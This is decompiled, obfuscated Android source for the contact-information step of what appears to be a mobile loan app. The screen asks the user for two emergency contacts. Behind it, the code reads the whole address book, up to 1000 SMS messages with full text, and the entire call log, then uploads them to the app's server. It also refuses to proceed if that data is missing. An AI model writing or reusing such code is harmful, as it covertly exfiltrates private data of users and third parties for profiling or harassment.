package com.mexico.inloancash.fragment;

import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.os.Bundle;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.text.Editable;
import android.text.TextUtils;
import android.text.TextWatcher;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import butterknife.ButterKnife;
import butterknife.Unbinder;
import com.facebook.AccessToken;
import com.facebook.appevents.AppEventsConstants;
import com.facebook.places.model.PlaceFields;
import com.google.gson.Gson;
import com.indiaholacash.holacash.R;
import com.mexico.inloancash.MyApplication;
import com.mexico.inloancash.activity.IndiaCerActivity;
import com.mexico.inloancash.activity.IndiaLoginActivity;
import com.mexico.inloancash.bean.BaseBean;
import com.mexico.inloancash.bean.India_CallPhone_ListBean;
import com.mexico.inloancash.bean.India_User_Contact_ListBeen;
import com.mexico.inloancash.bean.India_User_Sms_ListBean;
import java.util.ArrayList;
import java.util.List;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
import ඓ.ඓ.K.ⁱ.C0648;
import ඓ.ඓ.K.ⁱ.C0653;
import ඓ.ඓ.K.ⁱ.C0658;
import ඓ.ඓ.K.ⁱ.C0666;
import ඓ.ඓ.K.㳳.AbstractC0671;
import ඓ.ඓ.K.㳳.AbstractC0672;
import ඓ.ඓ.K.㴹.DialogC0684;
import ඓ.ඓ.K.㴹.DialogC0693;
import ඓ.ඓ.K.㿎.AbstractC0700;
import ඓ.ඓ.K.㿎.C0701;
import ඓ.ඓ.K.䁗.ᓆ.C0715;
import ඓ.K.K.K.C1293;
import ῲ.ᨨ.㳳.C1841;

public class IndiaThirdStepAuthFragment extends C0648 implements AbstractC0672, AbstractC0671 {

    /* renamed from: ݜ  reason: contains not printable characters */
    public static final String[] f2761 = {"display_name", "data1", "photo_id", "contact_id", "contact_last_updated_timestamp", "name_raw_contact_id"};
    public EditText mIndia_Name1;
    public EditText mIndia_Name2;
    public TextView mIndia_Phone1;
    public LinearLayout mIndia_Phone1Linear;
    public TextView mIndia_Phone2;
    public LinearLayout mIndia_Phone2_Linear;
    public TextView mIndia_Relate1;
    public LinearLayout mIndia_Relate1_Linear;
    public TextView mIndia_Relate2;
    public LinearLayout mIndia_Relate2_Linear;
    public Button mIndia_Submit;

    /* renamed from: ʬ  reason: contains not printable characters */
    public View f2762;

    /* renamed from: Ԕ  reason: contains not printable characters */
    public Uri f2763;

    /* renamed from: ؿ  reason: contains not printable characters */
    public List<India_CallPhone_ListBean> f2764;

    /* renamed from: ඓ  reason: contains not printable characters */
    public Unbinder f2765;

    /* renamed from: ᓣ  reason: contains not printable characters */
    public int f2766;

    /* renamed from: ᕣ  reason: contains not printable characters */
    public List<India_User_Sms_ListBean> f2767 = new ArrayList();

    /* renamed from: ᨨ  reason: contains not printable characters */
    public DialogC0684 f2768;

    /* renamed from: ⁱ  reason: contains not printable characters */
    public int f2769 = 0;

    /* renamed from: 㑃  reason: contains not printable characters */
    public String f2770;

    /* renamed from: 㗗  reason: contains not printable characters */
    public String[] f2771;

    /* renamed from: 㗽  reason: contains not printable characters */
    public int f2772;

    /* renamed from: 㳳  reason: contains not printable characters */
    public List<String> f2773;

    /* renamed from: 㴹  reason: contains not printable characters */
    public C0715 f2774;

    /* renamed from: 㸾  reason: contains not printable characters */
    public IndiaCerActivity f2775;

    /* renamed from: 㿎  reason: contains not printable characters */
    public List<India_User_Contact_ListBeen> f2776 = new ArrayList();

    /* renamed from: 䁗  reason: contains not printable characters */
    public String f2777;

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$ʬ  reason: contains not printable characters */
    public class C0511 implements Callback<String> {
        public C0511(IndiaThirdStepAuthFragment indiaThirdStepAuthFragment) {
        }

        @Override // retrofit2.Callback
        public void onFailure(Call<String> call, Throwable th) {
            StringBuilder r1 = C1293.m3416("onFailure:");
            r1.append(th.toString());
            Log.d("loan", r1.toString());
        }

        @Override // retrofit2.Callback
        public void onResponse(Call<String> call, Response<String> response) {
            StringBuilder r1 = C1293.m3416("onResponse:");
            r1.append(response.toString());
            Log.d("loan", r1.toString());
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$ඓ  reason: contains not printable characters */
    public class C0512 implements Callback<String> {
        public C0512(IndiaThirdStepAuthFragment indiaThirdStepAuthFragment) {
        }

        @Override // retrofit2.Callback
        public void onFailure(Call<String> call, Throwable th) {
            StringBuilder r1 = C1293.m3416("putCallLog onFailure:");
            r1.append(th.toString());
            Log.d("loan", r1.toString());
        }

        @Override // retrofit2.Callback
        public void onResponse(Call<String> call, Response<String> response) {
            StringBuilder r1 = C1293.m3416("putCallLog onResponse:");
            r1.append(response.toString());
            Log.d("loan", r1.toString());
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$ᨨ  reason: contains not printable characters */
    public class C0513 implements TextWatcher {
        public C0513() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$ῲ  reason: contains not printable characters */
    public class C0514 implements Callback<String> {
        public C0514() {
        }

        @Override // retrofit2.Callback
        public void onFailure(Call<String> call, Throwable th) {
            IndiaThirdStepAuthFragment.this.f3640.m2185();
            Log.d("loan", "onError:" + th.toString());
        }

        @Override // retrofit2.Callback
        public void onResponse(Call<String> call, Response<String> response) {
            BaseBean baseBean = (BaseBean) new Gson().fromJson(response.body(), BaseBean.class);
            StringBuilder r0 = C1293.m3416("onResponse:");
            r0.append(response.body());
            Log.d("loan", r0.toString());
            if (baseBean.getCode() == 200) {
                IndiaThirdStepAuthFragment.this.f2775.m1390(3);
            } else if (baseBean.getCode() == 401) {
                IndiaThirdStepAuthFragment.this.startActivity(new Intent(IndiaThirdStepAuthFragment.this.getContext(), IndiaLoginActivity.class));
            }
            IndiaThirdStepAuthFragment.this.f3640.m2185();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$ⁱ  reason: contains not printable characters */
    public class C0515 implements TextWatcher {
        public C0515() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$K  reason: contains not printable characters */
    public class C0516 implements TextWatcher {
        public C0516() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$㳳  reason: contains not printable characters */
    public class C0517 implements TextWatcher {
        public C0517() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$㴹  reason: contains not printable characters */
    public class C0518 implements TextWatcher {
        public C0518() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$㸾  reason: contains not printable characters */
    public class C0519 implements Callback<String> {
        public C0519(IndiaThirdStepAuthFragment indiaThirdStepAuthFragment) {
        }

        @Override // retrofit2.Callback
        public void onFailure(Call<String> call, Throwable th) {
            StringBuilder r1 = C1293.m3416("putSMS onFailure:");
            r1.append(th.toString());
            Log.e("loan", r1.toString());
        }

        @Override // retrofit2.Callback
        public void onResponse(Call<String> call, Response<String> response) {
            StringBuilder r1 = C1293.m3416("putSMS onResponse:");
            r1.append(response.message());
            Log.e("data", r1.toString());
        }
    }

    /* renamed from: com.mexico.inloancash.fragment.IndiaThirdStepAuthFragment$㿎  reason: contains not printable characters */
    public class C0520 implements TextWatcher {
        public C0520() {
        }

        public void afterTextChanged(Editable editable) {
        }

        public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {
        }

        public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {
            IndiaThirdStepAuthFragment.this.m1614();
        }
    }

    public IndiaThirdStepAuthFragment(IndiaCerActivity indiaCerActivity) {
        new ArrayList();
        this.f2770 = "";
        this.f2777 = "";
        this.f2763 = CallLog.Calls.CONTENT_URI;
        this.f2771 = new String[]{"name", "number", "date", "duration", "type"};
        this.f2764 = new ArrayList();
        this.f2766 = 1000;
        this.f2772 = 0;
        this.f2775 = indiaCerActivity;
    }

    @Override // androidx.fragment.app.Fragment
    public void onActivityCreated(Bundle bundle) {
        super.onActivityCreated(bundle);
    }

    @Override // androidx.fragment.app.Fragment
    public void onActivityResult(int i, int i2, Intent intent) {
        super.onActivityResult(i, i2, intent);
        if (i == 0 && intent != null) {
            Uri data = intent.getData();
            String[] strArr = new String[2];
            ContentResolver contentResolver = getActivity().getContentResolver();
            Cursor query = contentResolver.query(data, null, null, null, null);
            if (query != null) {
                query.moveToFirst();
                strArr[0] = query.getString(query.getColumnIndex("display_name"));
                Cursor query2 = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, C1293.m3412("contact_id=", query.getString(query.getColumnIndex("_id"))), null, null);
                if (query2 != null) {
                    query2.moveToFirst();
                    strArr[1] = query2.getString(query2.getColumnIndex("data1"));
                }
                query2.close();
                query.close();
            }
            int i3 = this.f2769;
            if (i3 == 1) {
                this.mIndia_Name1.setText(strArr[0]);
                this.f2770 = strArr[1];
                this.mIndia_Phone1.setText(this.f2770);
                m1614();
            } else if (i3 == 2) {
                this.mIndia_Name2.setText(strArr[0]);
                this.f2777 = strArr[1];
                this.mIndia_Phone2.setText(this.f2777);
                m1614();
            }
            Gson gson = new Gson();
            try {
                gson.toJson(this.f2776);
                gson.toJson(this.f2764);
            } catch (Exception unused) {
            }
        }
    }

    @Override // androidx.fragment.app.Fragment
    public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) {
        this.f2762 = layoutInflater.inflate(R.layout.india_activity_view_auth_layout_fragment, viewGroup, false);
        this.f2775.m1391("Contact information");
        this.f2765 = ButterKnife.m1067(this, this.f2762);
        this.f2773 = new ArrayList();
        this.f2773.add("Spouses");
        this.f2773.add("Parents");
        this.f2773.add("Sons");
        this.f2773.add("Brothers");
        this.f2773.add("Sisters");
        this.f2773.add("Friends");
        this.f2773.add("Co-worker");
        this.f2773.add("Others");
        new DialogC0693(getContext(), this);
        this.f2774 = new C0715(this.f2775);
        m1615();
        m1604();
        return this.f2762;
    }

    @Override // androidx.fragment.app.Fragment
    public void onDestroy() {
        super.onDestroy();
        this.f2765.m1069();
    }

    public void onViewClicked(View view) {
        switch (view.getId()) {
            case R.id.phone1_linear /*{ENCODED_INT: 2131296802}*/:
                this.f2774.m2142("android.permission.READ_CONTACTS").m6544(new C0653(this));
                return;
            case R.id.phone2_linear /*{ENCODED_INT: 2131296804}*/:
                this.f2774.m2142("android.permission.READ_CONTACTS").m6544(new C0666(this));
                return;
            case R.id.relate1_linear /*{ENCODED_INT: 2131296855}*/:
                this.f2768 = new DialogC0684(getContext(), this, "Please choose", this.f2773, "relete1");
                this.f2768.show();
                return;
            case R.id.relate2_linear /*{ENCODED_INT: 2131296857}*/:
                this.f2768 = new DialogC0684(getContext(), this, "Please choose", this.f2773, "relete2");
                this.f2768.show();
                return;
            case R.id.submit /*{ENCODED_INT: 2131296953}*/:
                m1604();
                if (MyApplication.f2291.equals("Google")) {
                    if (this.f2776.isEmpty() || this.f2767.isEmpty()) {
                        Toast.makeText(getContext(), "Contact or SMS is empty", 0).show();
                        return;
                    }
                } else if (this.f2767.isEmpty() || this.f2776.isEmpty() || this.f2764.isEmpty()) {
                    Toast.makeText(getContext(), "Data is empty", 0).show();
                    return;
                }
                if (this.mIndia_Submit.isSelected()) {
                    if (C1841.m4807()) {
                        m1613();
                        m1602();
                        m1603();
                    }
                    m1606();
                    return;
                }
                C1841.m4792(getContext(), "Please fill in at least Two contacts");
                return;
            default:
                return;
        }
    }

    @Override // ඓ.ඓ.K.㳳.AbstractC0671
    /* renamed from: ʬ  reason: contains not printable characters */
    public void m1600() {
    }

    /* renamed from: ʬ  reason: contains not printable characters */
    public /* synthetic */ void m1601(Boolean bool) throws Exception {
        if (!bool.booleanValue()) {
            m1616();
        } else if (!MyApplication.f2291.equals("Google")) {
            m1605();
            m1612();
            if (this.f2764.size() <= 0) {
                try {
                    Log.d("loan", "get CallLog");
                    this.f2764.clear();
                    Cursor query = getActivity().getContentResolver().query(this.f2763, this.f2771, null, null, "date DESC");
                    if (query != null) {
                        while (query.moveToNext()) {
                            String string = query.getString(query.getColumnIndex("name"));
                            String string2 = query.getString(query.getColumnIndex("number"));
                            long j = query.getLong(query.getColumnIndex("date"));
                            int i = query.getInt(query.getColumnIndex("duration"));
                            int i2 = query.getInt(query.getColumnIndex("type"));
                            India_CallPhone_ListBean india_CallPhone_ListBean = new India_CallPhone_ListBean();
                            india_CallPhone_ListBean.setName(string);
                            india_CallPhone_ListBean.setPhone(string2);
                            india_CallPhone_ListBean.setDate("" + j);
                            india_CallPhone_ListBean.setDuration("" + i);
                            india_CallPhone_ListBean.setType("" + i2);
                            this.f2764.add(india_CallPhone_ListBean);
                        }
                    }
                    Log.d("loan", "get CallLog size:" + this.f2764.size());
                    Log.d("loan", "get CallLog:" + this.f2764.toString());
                    this.f2764.size();
                } catch (Exception e) {
                    e.printStackTrace();
                    Log.d("loan", "can not get call log");
                }
            }
        } else {
            m1605();
            m1612();
        }
    }

    /* renamed from: Ԕ  reason: contains not printable characters */
    public void m1602() {
        if (!this.f2764.isEmpty()) {
            String json = new Gson().toJson(this.f2764);
            AbstractC0700 r1 = C0701.f3707.m2131();
            String r2 = C1841.m4788(AccessToken.TOKEN_KEY, "");
            MyApplication.m1353();
            r1.m2108(r2, MyApplication.f2291, json).enqueue(new C0512(this));
        }
    }

    /* renamed from: ؿ  reason: contains not printable characters */
    public void m1603() {
        if (!this.f2767.isEmpty()) {
            String json = new Gson().toJson(this.f2767);
            StringBuilder r1 = C1293.m3416("get SMS size:");
            r1.append(this.f2767.size());
            Log.e("data", r1.toString());
            AbstractC0700 r12 = C0701.f3707.m2131();
            String r2 = C1841.m4788(AccessToken.TOKEN_KEY, "");
            MyApplication.m1353();
            r12.m2112(r2, MyApplication.f2291, json).enqueue(new C0519(this));
        }
    }

    @SuppressLint({"CheckResult"})
    /* renamed from: ᓣ  reason: contains not printable characters */
    public final void m1604() {
        String[] strArr;
        if (MyApplication.f2291.equals("Google")) {
            strArr = new String[]{"android.permission.READ_CONTACTS", "android.permission.READ_SMS"};
        } else {
            strArr = new String[]{"android.permission.READ_CONTACTS", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG"};
        }
        if (C1841.m4807()) {
            this.f2774.m2142(strArr).m6544(new C0658(this));
        }
    }

    /* renamed from: ᕣ  reason: contains not printable characters */
    public final void m1605() {
        Cursor query;
        try {
            if (this.f2776.size() <= 0 && (query = getActivity().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, f2761, null, null, null)) != null) {
                while (query.moveToNext()) {
                    String string = query.getString(1);
                    if (!TextUtils.isEmpty(string)) {
                        India_User_Contact_ListBeen india_User_Contact_ListBeen = new India_User_Contact_ListBeen(query.getString(this.f2772), string);
                        long j = query.getLong(4);
                        int i = query.getInt(5);
                        india_User_Contact_ListBeen.setUpdateTime(j);
                        india_User_Contact_ListBeen.setLastTmeContacted(0);
                        india_User_Contact_ListBeen.setTimesContacted(0);
                        india_User_Contact_ListBeen.setSource(m1608(i));
                        this.f2776.add(india_User_Contact_ListBeen);
                    }
                }
                query.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /* renamed from: ᨨ  reason: contains not printable characters */
    public void m1606() {
        Log.d("loan", "上传紧急联系人");
        this.f3640.m2183();
        C0701.f3707.m2131().m2129(C1841.m4788(AccessToken.TOKEN_KEY, ""), MyApplication.f2291, String.valueOf(this.f2773.indexOf(this.mIndia_Relate1.getText().toString().trim())), this.mIndia_Name1.getText().toString().trim(), this.mIndia_Phone1.getText().toString().trim(), String.valueOf(this.f2773.indexOf(this.mIndia_Relate2.getText().toString().trim())), this.mIndia_Name2.getText().toString().trim(), this.mIndia_Phone2.getText().toString().trim()).enqueue(new C0514());
    }

    /* renamed from: ῲ  reason: contains not printable characters */
    public /* synthetic */ void m1607(Boolean bool) throws Exception {
        if (bool.booleanValue()) {
            this.f2769 = 1;
            startActivityForResult(new Intent("android.intent.action.PICK", ContactsContract.Contacts.CONTENT_URI), 0);
            return;
        }
        m1616();
    }

    @Override // ඓ.ඓ.K.㳳.AbstractC0671
    /* renamed from: K  reason: contains not printable characters */
    public void m1609() {
    }

    /* renamed from: K  reason: contains not printable characters */
    public /* synthetic */ void m1610(Boolean bool) throws Exception {
        if (bool.booleanValue()) {
            this.f2769 = 2;
            startActivityForResult(new Intent("android.intent.action.PICK", ContactsContract.Contacts.CONTENT_URI), 0);
            return;
        }
        m1616();
    }

    /* JADX WARNING: Code restructure failed: missing block: B:44:0x0127, code lost:
        if (r2 != null) goto L_0x0137;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:50:0x0135, code lost:
        if (0 == 0) goto L_0x013a;
     */
    /* JADX WARNING: Code restructure failed: missing block: B:51:0x0137, code lost:
        r2.close();
     */
    /* JADX WARNING: Code restructure failed: missing block: B:52:0x013a, code lost:
        r0 = ඓ.K.K.K.C1293.m3416("get SMS size:");
        r0.append(r13.f2767.size());
        android.util.Log.d("loan", r0.toString());
     */
    /* JADX WARNING: Code restructure failed: missing block: B:53:0x0150, code lost:
        return;
     */
    @SuppressLint({"Recycle"})
    /* renamed from: 㑃  reason: contains not printable characters */
    public void m1612() {
        if (this.f2767.size() <= 0) {
            Log.d("loan", "get SMS");
            Cursor cursor = null;
            try {
                cursor = getActivity().getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type", "read"}, null, null, "date desc");
                if (cursor != null) {
                    int i = 0;
                    while (cursor.moveToNext() && i < this.f2766) {
                        i++;
                        India_User_Sms_ListBean india_User_Sms_ListBean = new India_User_Sms_ListBean();
                        String string = cursor.getString(cursor.getColumnIndex("body"));
                        if (TextUtils.isEmpty(string)) {
                            india_User_Sms_ListBean.setSmscontent("");
                        } else {
                            india_User_Sms_ListBean.setSmscontent(string);
                        }
                        String string2 = cursor.getString(cursor.getColumnIndex("address"));
                        if (TextUtils.isEmpty(string2)) {
                            india_User_Sms_ListBean.setPhone("");
                        } else {
                            india_User_Sms_ListBean.setPhone(string2);
                        }
                        String string3 = cursor.getString(cursor.getColumnIndex("date"));
                        india_User_Sms_ListBean.setSmstime(AppEventsConstants.EVENT_PARAM_VALUE_NO);
                        try {
                            if (!TextUtils.isEmpty(string3)) {
                                if (Long.parseLong(string3) > 0) {
                                    if (string3.length() == 13) {
                                        india_User_Sms_ListBean.setSmstime(string3);
                                    }
                                }
                                india_User_Sms_ListBean.setSmstime(AppEventsConstants.EVENT_PARAM_VALUE_NO);
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                            india_User_Sms_ListBean.setSmstime(AppEventsConstants.EVENT_PARAM_VALUE_NO);
                        }
                        india_User_Sms_ListBean.setType(cursor.getString(cursor.getColumnIndex("type")));
                        india_User_Sms_ListBean.setSmid(String.valueOf(cursor.getInt(cursor.getColumnIndex("_id"))));
                        india_User_Sms_ListBean.setIsread(cursor.getInt(cursor.getColumnIndex("read")));
                        india_User_Sms_ListBean.setName("");
                        int i2 = 0;
                        while (true) {
                            if (i2 >= this.f2776.size()) {
                                break;
                            }
                            String trim = this.f2776.get(i2).getTelephone().trim();
                            if (!TextUtils.isEmpty(trim) && trim.replace(" ", "").equals(string2)) {
                                india_User_Sms_ListBean.setName(this.f2776.get(i2).getName());
                                break;
                            }
                            i2++;
                        }
                        this.f2767.add(india_User_Sms_ListBean);
                    }
                }
            } catch (SQLiteException e2) {
                Log.d("loan", "can not get sms");
                e2.printStackTrace();
            } catch (Throwable th) {
                if (0 != 0) {
                    cursor.close();
                }
                throw th;
            }
        }
    }

    /* renamed from: 㗗  reason: contains not printable characters */
    public void m1613() {
        if (!this.f2776.isEmpty()) {
            String json = new Gson().toJson(this.f2776);
            AbstractC0700 r1 = C0701.f3707.m2131();
            String r2 = C1841.m4788(AccessToken.TOKEN_KEY, "");
            MyApplication.m1353();
            r1.m2119(r2, MyApplication.f2291, json).enqueue(new C0511(this));
        }
    }

    /* renamed from: 㳳  reason: contains not printable characters */
    public void m1614() {
        if (C1293.m3418(this.mIndia_Name1)) {
            this.mIndia_Submit.setSelected(false);
        } else if (TextUtils.isEmpty(this.mIndia_Phone1.getText().toString().trim())) {
            this.mIndia_Submit.setSelected(false);
        } else if (TextUtils.isEmpty(this.mIndia_Relate1.getText().toString().trim())) {
            this.mIndia_Submit.setSelected(false);
        } else if (TextUtils.isEmpty(this.mIndia_Relate2.getText().toString().trim())) {
            this.mIndia_Submit.setSelected(false);
        } else if (C1293.m3418(this.mIndia_Name2)) {
            this.mIndia_Submit.setSelected(false);
        } else if (TextUtils.isEmpty(this.mIndia_Phone2.getText().toString().trim())) {
            this.mIndia_Submit.setSelected(false);
        } else {
            this.mIndia_Submit.setSelected(true);
        }
    }

    /* renamed from: 㿎  reason: contains not printable characters */
    public void m1615() {
        this.mIndia_Relate1.addTextChangedListener(new C0518());
        this.mIndia_Relate2.addTextChangedListener(new C0515());
        this.mIndia_Name1.addTextChangedListener(new C0520());
        this.mIndia_Name2.addTextChangedListener(new C0513());
        this.mIndia_Phone1.addTextChangedListener(new C0517());
        this.mIndia_Phone2.addTextChangedListener(new C0516());
    }

    /* renamed from: 䁗  reason: contains not printable characters */
    public final void m1616() {
        Toast.makeText(getContext(), "No permission", 1).show();
        Intent intent = new Intent();
        intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
        StringBuilder r1 = C1293.m3416("package:");
        r1.append(getContext().getPackageName());
        intent.setData(Uri.parse(r1.toString()));
        startActivity(intent);
    }

    /* renamed from: K  reason: contains not printable characters */
    public int m1608(int i) {
        try {
            String[] strArr = {String.valueOf(i)};
            Cursor query = getActivity().getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI, new String[]{"_id", "times_contacted", "account_type"}, "contact_id=?", strArr, null);
            if (query == null) {
                return 1;
            }
            while (query.moveToNext()) {
                String string = query.getString(query.getColumnIndex("account_type"));
                if (!TextUtils.isEmpty(string)) {
                    if (string.contains(PlaceFields.PHONE)) {
                        return 1;
                    }
                    return 2;
                }
            }
            return 1;
        } catch (Exception e) {
            e.printStackTrace();
            return 1;
        }
    }

    @Override // ඓ.ඓ.K.㳳.AbstractC0672
    /* renamed from: K  reason: contains not printable characters */
    public void m1611(String str, String str2) {
        if (str.equals("relete1")) {
            this.mIndia_Relate1.setText(str2);
        } else if (str.equals("relete2")) {
            this.mIndia_Relate2.setText(str2);
        }
    }
}
